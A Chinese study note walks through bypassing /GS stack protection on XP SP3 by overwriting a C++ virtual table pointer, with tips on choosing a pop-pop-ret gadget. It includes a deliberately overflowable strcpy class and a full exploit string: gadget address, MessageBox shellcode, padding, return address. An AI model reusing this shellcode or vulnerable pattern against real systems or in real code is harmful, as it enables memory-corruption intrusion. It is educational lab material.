参考文章:
https://bbs.pediy.com/thread-211315.htm
https://www.52pojie.cn/thread-490768-1-1.html
《0day安全软件漏洞分析技术》 10.3 节
环境:
xp sp3
vs 2008
爬坑:
覆盖虚表指针跳转到 shellcode首地址 , 执行 pop pop ret ,运行 shellcode。
虚表指针指向的地址中存储的数据 就是要执行的地址。
pop pop retn指令序列的地址不是随便选取的,它有两重含义:做跳板时它被当作一个地址处理;做指令时,其操作不能影响程序流程。
有事会解析错误
解决办法:另外找一个pop pop retn指令序列地址。
pop pop ret 可以使用 od 插件 OllyFindAddr
调试时 发现栈顶有 "00000000" 和 call 返回值 所以找 pop pop ret。
代码:
#include "stdafx.h"
#include "string.h"
class GSVirtual {
public :
void gsv(char * src){
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void bar(){
}
};
int main(){
GSVirtual test;
test.gsv(
"\\x3c\\x0e\\x99\\x7c" // pop pop ret adder
"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C"
"\\x8B\\xF4\\x8D\\x7E\\xF4\\x33\\xDB\\xB7\\x04\\x2B\\xE3\\x66\\xBB\\x33\\x32\\x53"
"\\x68\\x75\\x73\\x65\\x72\\x54\\x33\\xD2\\x64\\x8B\\x5A\\x30\\x8B\\x4B\\x0C\\x8B"
"\\x49\\x1C\\x8B\\x09\\x8B\\x69\\x08\\xAD\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\x05\\x95"
"\\xFF\\x57\\xF8\\x95\\x60\\x8B\\x45\\x3C\\x8B\\x4C\\x05\\x78\\x03\\xCD\\x8B\\x59"
"\\x20\\x03\\xDD\\x33\\xFF\\x47\\x8B\\x34\\xBB\\x03\\xF5\\x99\\x0F\\xBE\\x06\\x3A"
"\\xC4\\x74\\x08\\xC1\\xCA\\x07\\x03\\xD0\\x46\\xEB\\xF1\\x3B\\x54\\x24\\x1C\\x75"
"\\xE4\\x8B\\x59\\x24\\x03\\xDD\\x66\\x8B\\x3C\\x7B\\x8B\\x59\\x1C\\x03\\xDD\\x03"
"\\x2C\\xBB\\x95\\x5F\\xAB\\x57\\x61\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\xA9\\x33\\xDB"
"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50"
"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8"
"\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61"
"\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61"
"\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61"
"\\x9c\\xfe\\x12\\x00" //0x0012FE9C shellcode adder
);
return 0;
}